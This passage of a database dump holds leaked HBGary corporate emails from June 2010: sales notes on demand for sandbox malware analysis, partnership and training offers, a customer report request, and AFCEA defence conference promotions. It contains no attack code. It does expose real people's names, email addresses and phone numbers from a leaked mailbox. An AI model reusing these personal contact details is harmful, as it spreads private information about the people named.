Software\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDC3\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nL-3\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMantech\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBooz Allen Hamilton\r\n\r\n&nbsp;\r\n\r\nThere has been talk of HBG contracting HBG Fed to finish the\r\nThreat Management Center.&nbsp; From the viewpoint of account management I want\r\nprospects to look at HBGary as their complete end-to-end malware solution.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nMy competition is mostly CWSandbox and is rarely Norman.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14998,'aaron_hbgary_com/14998.html'),(7801,'2010-06-25','\"John H. Ricketson\" <jricketson@dejavutechnologies.com>','/aaron@hbgary.com/new/1297006052.M645570P14101Q2656.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Follow up','Aaron,\r\n\r\nI would like to follow up from our conversation at the Palantir conference. Can we schedule a call for next week?\r\n\r\n- John\r\n\r\n\r\nJohn H. Ricketson\r\nChief Executive Officer\r\njricketson@dejavutechnologies.com\r\n978-692-7229\r\n\r\n\r\nOn Apr 16, 2010, at 4:18 PM, John H. Ricketson wrote:\r\n\r\n> Dear Aaron,\r\n> \r\n> We had an interesting conversation at the Palantir Conference last week, about potential cooperation between our companies. If you recall, the technologies may be very complementary: your memory forensics + our network forensics called TrafficScape. In particular, you were interested whether TrafficScape might give early indications about how to prioritize which machines to target with your tool. I would be interested to discuss a reseller relationship, if that makes sense.\r\n> \r\n> Attached is a slide deck about TrafficScape. I will be in town later next week. Would you be interested to meet, or at least continue our conversation with a conference call and online demo?\r\n> \r\n> Regards,\r\n> \r\n> - John\r\n> \r\n> \r\n> John H. Ricketson\r\n> Chief Executive Officer\r\n> jricketson@dejavutechnologies.com\r\n> 978-692-7229\r\n> \r\n\r\n\r\n',6162,'aaron_hbgary_com/6162.html'),(7802,'2010-06-25','\"John H. Ricketson\" <jricketson@dejavutechnologies.com>','/aaron@hbgary.com/new/1297006061.M648233P14101Q2657.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Follow up','Aaron,\r\n\r\nI would like to follow up from our conversation at the Palantir conference. Can we schedule a call for next week?\r\n\r\n- John\r\n\r\n\r\nJohn H. Ricketson\r\nChief Executive Officer\r\njricketson@dejavutechnologies.com\r\n978-692-7229\r\n\r\n\r\nOn Apr 16, 2010, at 4:18 PM, John H. Ricketson wrote:\r\n\r\n> Dear Aaron,\r\n> \r\n> We had an interesting conversation at the Palantir Conference last week, about potential cooperation between our companies. If you recall, the technologies may be very complementary: your memory forensics + our network forensics called TrafficScape. In particular, you were interested whether TrafficScape might give early indications about how to prioritize which machines to target with your tool. I would be interested to discuss a reseller relationship, if that makes sense.\r\n> \r\n> Attached is a slide deck about TrafficScape. I will be in town later next week. Would you be interested to meet, or at least continue our conversation with a conference call and online demo?\r\n> \r\n> Regards,\r\n> \r\n> - John\r\n> \r\n> \r\n> John H. Ricketson\r\n> Chief Executive Officer\r\n> jricketson@dejavutechnologies.com\r\n> 978-692-7229\r\n> \r\n\r\n',8108,'aaron_hbgary_com/8108.html'),(7803,'2010-06-25','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297006062.M315771P14101Q2659.eml','aaron@hbgary.com','DISA, STRATCOM, MHS, BTA, DLA & Others confirmed to brief at the Warfighter Support Agencies IT Day - July 15, Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        2nd Annual AFCEA NOVA Combat Support IT Day has a new name, but an even \r\n        more impressive line-up of speakers:\r\n        \r\n        Warfighter Support\r\n        AGENCIES IT DAY\r\n        Challenges &amp; Needs -\r\n        Solutions &amp; Capabilities\r\n      July \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n        Gratis for Mil/Gov Employees who pre-register\r\n        Early-Bird Rate for Industry Extended\r\n        www.afceanova.org/agenciesitday\r\n      Speakers\r\n      \r\n        Maj. \r\n          Gen. Ronnie D. Hawkins, USAF - Vice Director, Defense Information \r\n          Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Kenneth S. Callicutt - Director of Capability and Resource \r\n          Integration (J8), U.S. Strategic Command (USSTRATCOM) (confirmed)\r\n        BG \r\n          Brian J. Donahue, USA - J6, U.S. Central Command (USCENTCOM) \r\n          (invited)\r\n        Mr. \r\n          Charles Campbell - CIO, MHS (confirmed)\r\n        Mr. \r\n          David Fisher - Director, Defense Business Transformation Agency \r\n          (BTA) (confirmed)\r\n        Mr. \r\n          Anthony &#8220;Tony&#8221; Montemarano - Component Acquisition \r\n          Executive, Defense Information Systems Agency (DISA) (confirmed)\r\n        Ms. \r\n          Paige Atkins - Director of the Strategic Planning and Information \r\n          Directorate, Defense Information Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Thomas Michelli - Director Enterprise Solutions, Defense Logistics \r\n          Agency (DLA) (confirmed)\r\n        Mr. \r\n          Frank Larkin - Director, Counter IED Operations Integration \r\n          Center (COIC), Joint IED Defeat Organization (JIEDDO)\r\n        Mr. \r\n          Henry Sienkiewicz - CIO, DISA (confirmed)\r\n        Mr. \r\n          Dave Bennett - Dep PEO-GES, DISA (confirmed)\r\n        Mr. \r\n          Martin Gross - Dep PEO-C2C, DISA (confirmed)\r\n        Medical \r\n          IT Panel \r\n          \r\n            Lt \r\n              Col Kevin P Seeley, USAF, MSC, CHE, CPHIMS - Air Force \r\n              Medical Service Assistant CIO &amp; Chief, Enterprise Architecture \r\n              Division, Air Force Medical Support Agency (confirmed)\r\n            Col. \r\n              Claude Hines - Deputy Program Executive Officer, Health \r\n              Information Management System (DHIMS) (confirmed)\r\n            Mr. \r\n              Gilmer - Chief Technology Officer, US Army Northern Regional Medical \r\n              Command (ACSIM) Walter Reed AMC (DOIM) (invited)\r\n            Navy \r\n              BUMED (invited)\r\n          \r\n        \r\n        Mr. \r\n          Keith Seaman, Acting Director, DBSAE Business Transformation \r\n          (confirmed) \r\n        Mr. \r\n          Dave Belva, CIO, Defense Threat Reduction Agencey (DTRA) (confirmed)\r\n        Mr. \r\n          Dave Devries, DoD Chief Architect &amp; Principal Director, \r\n          DoD Deputy CIO, Office of the ASD-NII/DoD-CIO (confirmed)\r\n      \r\n      About \r\n        Agencies IT Day\r\n      AFCEA \r\n        NOVA leads the way in focusing industry&#8217;s attention on IT capabilities \r\n        that are important to the Department of Defense by presenting the 2nd \r\n        Annual &quot;Warfighter Support Agencies IT Day&quot; (formerly named \r\n        Combat Support IT Day). This event goes beyond our traditional Uniformed \r\n        Services IT Days &amp; focuses on the Agencies and Commands who Support \r\n        the Warfighter in their operational &amp; business missions. See details \r\n        below on the highlighted agencies and why you should be following them.\r\n      This one \r\n        day conference presents an outstanding opportunity to hear from the key \r\n        DoD organizations providing vital IT systems and capabilities to support \r\n        our Warfighting Services. The theme is &#8220;Warfighter IT Support &#8211; \r\n        Challenges &amp; Needs - Solutions &amp; Capabilities&#8221; and the speakers \r\n        will address their visions, requirements, challenges, strategies, and \r\n        potential procurements.\r\n      Program \r\n        highlights include:\r\n      \r\n         Briefs \r\n          from STRATCOM, MHS, JIEDDO, BTA, DLA (see below why these \r\n          are agencies you should be following)\r\n        An Afternoon \r\n          with the DISA (did you miss Nashville? come to Agencies \r\n          IT Day)\r\n        Healthcare \r\n          Panel, and Town-Hall\r\n        Parallel \r\n          Small Business Program with speakers from BTA, DTRA, DLA, USTRANSCOM\r\n         Tribute \r\n          to WW II Veteran Colonel William Ryan, Jr.\r\n      \r\n      &#8220;An \r\n        Afternoon with DISA&#8221;\r\n      DEFENSE \r\n        INFORMATION SYSTEMS AGENCY (DISA).&nbsp; Our featured agency \r\n        for the afternoon is DISA, a Combat Support Agency that engineers and \r\n        provides command and control capabilities and enterprise infrastructure \r\n        to continuously operate and assure a global net-centric enterprise in \r\n        direct support to joint warfighters, National level leaders, and other \r\n        mission and coalition partners across the full spectrum of operations.&nbsp; \r\n        DISA manages over $6B of acquisitions and contracts, and continues its \r\n        build of the Global Information Grid (GIG), providing Netcentric Enterprise \r\n        Services to access, post, process, use, store, and manage information \r\n        on demand, providing world-class computing services, and overseeing the \r\n        evolution of existing DOD Command and Control (C2) systems. Their largest \r\n        IT contract, GIG Services Management Operations (formerly DISN Global \r\n        Solutions) is valued at $4.6B and is facing a recompete. In addition, \r\n        DISA oversees acquisition of three other ACAT I major programs, three \r\n        major services acquisitions, and about 50 smaller programs. They are about \r\n        to recompete other contracts for small businesses such as GSM Engineering, \r\n        Transition, and implementation, valued at $300M. More upcoming business \r\n        opportunities include Future Commercial SATCOM Services (FCSA), and multiple \r\n        solicitations in Cyber Security and Information Assurance, Joint Command \r\n        and Control, Enterprise Services, Spectrum Support, Internal Operations \r\n        Support, and Physical Security. \r\n      At this IT \r\n        Day, DISA plans to unveil their new approach towards IT that will affect \r\n        their management and acquisitions going forward.&nbsp; DISA will also \r\n        be in the midst of moving from Virginia to the Ft Meade campus.&nbsp; \r\n        Throughout these changes, DISA will depend on their industry partners.&nbsp;\r\n      Additional \r\n        Featured Speakers from the following Agencies:\r\n      JOINT \r\n        IED DEFEAT ORGANIZATION (JIEDDO) leads DoD actions to rapidly \r\n        provide Counter Improvised Explosive Device capabilities in support of \r\n        the Combatant Commanders and to enable the defeat of the IED as a weapon \r\n        of strategic influence.\r\n      MILITARY \r\n        HEALTH SYSTEM (MHS) provides healthcare services in support of \r\n        the nation&#8217;s military mission.&nbsp; They acquire almost $2B to \r\n        meet the medical needs of the war fighter and to capture and manage patient \r\n        health data from the foxhole to the medical treatment facilities.&nbsp; \r\n        MHS maintains military electronic health records, manages medical combat \r\n        support systems, and medical supply logistics systems.&nbsp; The Military \r\n        Health System\'s Electronic Health Record is a high priority. Currently \r\n        a system of systems, it provides access to patient data across austere \r\n        and low bandwidth environments, as well as in brick and mortar hospitals.&nbsp; \r\n        MHS is continually evolving these systems and capabilities to better support \r\n        enhanced care for more than 9.6M beneficiaries. MHS challenges include \r\n        system performance/interoperability and increased data sharing as the \r\n        veteran population grows. Their first step is to stabilize and improve \r\n        what currently exists to increase speed, reliability, and provide the \r\n        end users with an improved look and feel.&nbsp; This will be followed \r\n        with updates and added versatility, while remaining operational 24/7 to \r\n        ensure patient data is in the hands of those who need it, where they need \r\n        it, and when they need it to care for our Service members, their family \r\n        members, and our retirees.&nbsp;&nbsp;\r\n      BUSINESS \r\n        TRANSFORMATION AGENCY (BTA) guides the transformation of business \r\n        operations throughout the Department of Defense and delivers Enterprise-level \r\n        capabilities that align to warfighter needs. The BTA through its 8 directorates \r\n        is recognized as the champion for driving and accelerating improvements \r\n        to business operations across the Department of Defense. To accomplish \r\n        the goal of providing consistency, consolidation and coordination across \r\n        the Department of Defense, the BTA produced the Enterprise Transition \r\n        Plan (ETP) -- an integrated and executable roadmap that observes the standards \r\n        laid out in the Business Enterprise Architecture (BEA). The ETP and the \r\n        BEA enable the Department to transform business operations to achieve \r\n        improved warfighter support while enabling financial accountability across \r\n        the Department of Defense.\r\n      DEFENSE \r\n        LOGISTICS AGENCY (DLA), the largest DOD combat support agency, \r\n        provides worldwide logistics support to both military and civilian agencies \r\n        and foreign countries.&nbsp; DLA manages over 5.2 million items through \r\n        eight supply chains with sales and services exceeding $42B in FY08.&nbsp; \r\n        They have numerous IT initiatives underway and planned to support the \r\n        management of supply chains, warehousing and depots, and IT infrastructure.\r\n      US \r\n        STRATEGIC COMMAND (USSTRATCOM) is one of 10 U.S. unified commands \r\n        under the Department of Defense (DOD). The Command, including components, \r\n        employs more than 2,700 people, representing all four services, including \r\n        DoD Civilians and contractors, who oversee the command\'s operationally \r\n        focused global strategic mission. The missions of USSTRATCOM are to deter \r\n        attacks on U.S. vital interests, to ensure U.S. freedom of action in space \r\n        and cyberspace, to deliver integrated kinetic and non-kinetic effects \r\n        to include nuclear and information operations in support of U.S. Joint \r\n        Force Commander operations, to synchronize global missile defense plans \r\n        and operations, to synchronize regional combating of weapons of mass destruction \r\n        plans, to provide integrated surveillance and reconnaissance allocation \r\n        recommendations to the SECDEF, and to advocate for capabilities as assigned. \r\n        \r\n      WORLD \r\n        WAR II VETERAN Colonel William Ryan, Jr. served with the 15th \r\n        Infantry Regiment, 3rd Infantry Division from November 1944 until the \r\n        end of the war.&nbsp; He commanded I Company, 3rd Battalion, in the fighting \r\n        for Sigolsheim, Bennwihr, and Mittelwihr outside of Colmar, France in \r\n        December &#8216;44 and for the rest of the Battle of the Colmar Pocket \r\n        into February &#8216;45. He was wounded on 15 March 1945 going through \r\n        the Siegfried Line and didn\'t return to the Regiment until late April. \r\n        After the war he became a missile man, and rose to Colonel in that branch.&nbsp; \r\n        He retired in 1996, with 53 years on active duty, having served almost \r\n        30 years with the American Battle Monuments Commission.\r\n      Why \r\n        Should You Attend?\r\n      \r\n        If you \r\n          are serving our nation in uniform or through civil service, this provides \r\n          a unique opportunity for professional development - with access to senior \r\n          leaders in Government and Industry.\r\n        If you \r\n          are in industry, or other organization supporting our military Agencies \r\n          &amp; Services, then this is one of the best events in the region to \r\n          help you identify opportunities to grow your business in this market \r\n          space.\r\n         Together \r\n          the agencies represented spend billions on a wide variety of IT services \r\n          and products!!!\r\n      \r\n      Mark \r\n        your calendars for July 15th and register now online:\r\n      Register \r\n        to Sponsor Agencies IT Day\r\n      Gratis \r\n        for Mil/Gov Employees who pre-register\r\n        Early-Bird Rate for Industry Extended\r\n      Register \r\n        to Attend Agencies IT Day\r\n      For \r\n        more Information, please Contact:\r\n        AFCEA NOVA Staff @ CAPLEAD, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Agency \r\n          display booths throughout the lobby\r\n        Small \r\n          Business Plenary \r\n          Sessions &amp; Small-group Meetings - \r\n          runs in the morning and afternoon, parallel to the full conference\r\n          \r\n      \r\n    &nbsp;\r\n    \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              Agencies \r\n                IT Day Links\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              About \r\n                      Agencies IT Day\r\n                      Speakers \r\n                      &amp; Program\r\n                      Small \r\n                      Business Track\r\n                      Sponsorship\r\n                      Venue \r\n                      &amp; Directions\r\n                      Registration \r\n                      \r\n                    \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Diamond Sponsor\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Platinum Sponsors\r\n              \r\n            \r\n          \r\n        \r\n          \r\n            \r\n              \r\n              \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n              \r\n            \r\n          \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Gold Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Small Business Silver Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n              \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n\r\n      \r\n        \r\n          \r\n            \r\n              Follow AFCEA NOVA on\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n          Key \r\n          Sponsorship Slots are\r\n          Still \r\n          Available!\r\n        \r\n        &nbsp;\r\n    \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',1824,'aaron_hbgary_com/1824.html'),(7804,'2010-06-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006062.M43159P14101Q2658.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Increasing, prospects are asking for automated sandbox analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria said US-CERT is also\r\ninterested in TMC.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Friday, June 25, 2010 11:03 AM\r\nTo: \'Penny Leavy-Hoglund\'; \'Greg Hoglund\'; \'Rich Cummings\'; \'Aaron\r\nBarr\'; \'Ted Vera\'\r\nSubject: Increasing, prospects are asking for automated sandbox analysis\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny, Greg, Aaron, Ted and Rich,\r\n\r\n&nbsp;\r\n\r\nI am getting new requests for automated sandbox malware\r\nanalysis.&nbsp; Here are the list of organizations who have asked for it:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNSA ANO\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNSA Blue Team\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNSA Center for Assured Software\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDC3\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nL-3\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMantech\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBooz Allen Hamilton\r\n\r\n&nbsp;\r\n\r\nThere has been talk of HBG contracting HBG Fed to finish the\r\nThreat Management Center.&nbsp; From the viewpoint of account management I want\r\nprospects to look at HBGary as their complete end-to-end malware\r\nsolution.&nbsp; \r\n\r\n&nbsp;\r\n\r\nMy competition is mostly CWSandbox and is rarely Norman.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5920,'aaron_hbgary_com/5920.html'),(7805,'2010-06-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006062.M648329P14101Q2660.eml','\"John Tesch\" <jtesch@coloradotech.edu>','Fwd: Software and training','Hi John,\r\n\r\nI just got back from family vacation in Florida and wanted to touch\r\nbase with you about getting our software into CTU, providing you the\r\ntraining, and setting up a training course for LEOs up near Grand\r\nJunction.\r\n\r\nPlease give me a call when you have a chance.\r\n\r\nThanks,\r\nTed\r\n\r\n719-237-8623\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Jun 14, 2010 at 2:49 PM\r\nSubject: Software and training\r\nTo: Tesch John \r\n\r\n\r\nHi John,\r\n\r\nI have authorization to get your lab outfitted with our software and\r\nget you trained up on it. The DHS contract that provided free training\r\nfor leo\'s is over though, so I\'ll need to make other arrangements. Do\r\nyou have any budget available, we are a small business and can use all\r\nthe revenue we can get.\r\n\r\nLet me know what you think you can afford and I can write up a quote\r\nthat will meet your needs.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10059,'aaron_hbgary_com/10059.html'),(7806,'2010-06-25','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006062.M870796P14101Q2661.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','End Games report request','Aaron\r\n \r\nCan you pull a End Games report for Bank of the West -- we need this for next Tuesday morning (ideally)\r\n \r\nIf we find something then there is potential to move a 2011 Active Defense purchase to 2010 end of the year.\r\n \r\nThanks\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',2738,'aaron_hbgary_com/2738.html'),(7807,'2010-06-25','\"AFCEA DC Events\" <events@afceadc.org>','/aaron@hbgary.com/new/1297006063.M117541P14101Q2662.eml','aaron@hbgary.com','USCYBERCOM\'s Role in Protecting .mil, .gov & .com - AFCEA DC\'s 2nd Annual Cybersecurity Symposium - July 8, Hilton Washington','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        \r\n        \r\n        \r\n        \r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n           \r\n               \r\n                &nbsp;\r\n                2nd Annual AFCEA DC\r\n                    Cybersecurity Symposium\r\n                    USCYBERCOM\'s Role in Protecting \r\n                    .mil, .gov &amp; .com\r\n                  Thursday, July 8, 2010\r\n                    8am-5pm - Hilton Washington, Washington, \r\n                    DC\r\n                    www.afceadc.org/cyber \r\n                  \r\n                  Speakers &amp; Program\r\n                  \r\n                    Opening Keynote: VADM Carl V. Mauney, USN \r\n                      - Deputy Commander, U.S. Strategic Command (USSTRATCOM) \r\n                      (confirmed)\r\n                      \r\n                    \r\n                    Closing Keynote: Mr. Howard A. Schmidt, \r\n                      White House Cybersecurity Coordinator (confirmed)\r\n                      \r\n                    \r\n                    Reaction to Cyber Shockwave - Enter DoD &amp; \r\n                      USCYBERCOM\r\n                      Panel Block on .Mil to .Gov Relationships \r\n                      \r\n                      \r\n                      \r\n                        Mr. Bob Butler - Deputy Assistant \r\n                          Secretary of Defense for Cyber Policy, U.S. Department \r\n                          of Defense (DoD)  (confirmed)\r\n                          \r\n                          \r\n                        BG John Davis, USA - Deputy Director \r\n                          of Operations (J-33), U.S. Cyber Command (USCYBERCOM) \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        RDML Mike Brown - Deputy Assistant \r\n                          Secretary for Cyber Security &amp; Communications (CS&amp;C), \r\n                          U.S. Department of Homeland Security (DHS)  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Mr. Bruce Held - Director of Intelligence \r\n                          &amp; Counter Intelligence, U.S. Dept of Energy  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Mr. Ed Mueller - Chair, National \r\n                          Security Telecommunications Advisory Committee (NSTAC) \r\n                           (confirmed)\r\n                          \r\n                          \r\n                        Moderator: Gen. \r\n                          Ronald E. Keys (USAF, Ret) - former Commander, \r\n                          Air Combat Command (ACC), USAF, &amp; currently President, \r\n                          RK Solution Enterprises  (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Public Private Partnerships Framework\r\n                      Panel Block on .Mil/.Gov to .Com Relationships \r\n                      \r\n                      \r\n                      \r\n                        Ms. Anne Neuberger - Special Assistant \r\n                          to the Director for Enduring Security Framework Forum \r\n                          (Public Private Partnerships Framework), National Security \r\n                          Agency (NSA)/USCYBERCOM (confirmed)\r\n                          \r\n                          \r\n                        Mr. Riley Repko (Col, USAFR, Ret) \r\n                          - Senior Advisor, Cyber Operations &amp; Transformation, \r\n                          Deputy Chief of Staff for Air, Space &amp; Information \r\n                          Operations, Plans &amp; Requirements (A3/5), U.S. Air \r\n                          Force, detailed to the Office of the Asst SecDef for \r\n                          Cyber  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Ellen McCarthy - President, Intelligence \r\n                          and National Security Alliance (INSA)  (confirmed)\r\n                          \r\n                          \r\n                        Mr. Guy Copeland - Chairman, Cross-Sector \r\n                          Cybersecurity Working Group (CSCSWG)  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Jenny Menna - Director, Critical \r\n                          Infrastructure Cyber Protection &amp; Awareness, U.S. \r\n                          Department of Homeland Security (DHS) (invited)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Luncheon Keynotes\r\n                      CYBERCOM &amp; DHS – Huntley-Brinkley style\r\n                      \r\n                       \r\n                      \r\n                        ADM James A. Winnefeld, Jr. - Commander, \r\n                          U.S. Northern Command (USNORTHCOM) (invited)\r\n                          \r\n                          \r\n                        Hon. Rand Beers - Undersecretary \r\n                          for National Protection &amp; Programs Directorate, \r\n                          U.S. Department of Homeland Security (DHS) (invited)\r\n                          \r\n                          \r\n                      \r\n                    \r\n                    Standing Up USCYBERCOM\r\n                      Panel Block on .Mil to .Mil Relationships\r\n                      \r\n                       \r\n                      \r\n                        Maj. Gen. Suzanne &quot;Zan&quot; Vautrinot \r\n                          - Director of Plans and Policy (J5), U.S. Cyber Command \r\n                          (USCYBERCOM)  (confirmed)\r\n                          \r\n                        \r\n                         LtGen George Flynn - Commander, \r\n                          Marine Corps Forces Cyberspace Command (MARFORCYBER) \r\n                           (confirmed)\r\n                          \r\n                          \r\n                        RADM Robert Day - Director, Cyber \r\n                          Command, U.S. Coast Guard  (confirmed)\r\n                          \r\n                          \r\n                        MG Rhett Hernandez - Currently Assistant \r\n                          Deputy Chief of Staff G-3/5/7\r\n                          Nominated for Commanding General, Army Forces \r\n                          Cyber Command (ARFORCYBER), U.S. Army (invited)\r\n                          \r\n                          \r\n                        Brig. Gen. Greg Brundidge - Director, \r\n                          Communications &amp; Information (J6) - European Command \r\n                          (USEUCOM)  (confirmed)\r\n                          \r\n                          \r\n                        Maj. Gen. Richard Webber - Commander, \r\n                          24th Air Force (invited)\r\n                          \r\n                        \r\n                         VADM Bernard McCullough III - Commander, \r\n                          U.S. Fleet Cyber Command/U.S. Tenth Fleet (invited)\r\n                          \r\n                      \r\n                    \r\n                  \r\n                  The 2nd Annual AFCEA DC Cybersecurity Symposium will focus \r\n                    on the newly confirmed U.S. Cyber Command, and its partners, \r\n                    its relationships, its dependencies, its policies, and its \r\n                    reach. CYBERCOM will need to interface with the five Military \r\n                    Services, the Unified Commands/COCOMs, DHS, other Civilian \r\n                    Agencies, Industry, and the list goes on. Conference attendees \r\n                    will be present as discussions of these interrelationships \r\n                    unfold and the framework for collaboration begins to emerge.\r\n                  Sign-Up \r\n                    to Sponsor the Cybersecurity Symposium\r\n                  Register \r\n                    to Attend the Cybersecurity Symposium\r\n                    \r\n                  For more Information Contact:\r\n                  \r\n                     \r\n                       AFCEA DC/CAPLEAD Staff, events@afceadc.org, tel: 202-701-5808 \r\n                      \r\n                    \r\n                  \r\n                  Key \r\n                    Sponsorship Slots still Available!\r\n                  &nbsp;\r\n                  \r\n                    \r\n                      Small Business Silver Sponsors: \r\n                    \r\n                    \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            \r\n                            &nbsp;\r\n                            \r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                            &nbsp;\r\n                          \r\n                          \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n              Conference Links: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              Event \r\n                    Home Page \r\n                  Speakers \r\n                    &amp; Program\r\n                  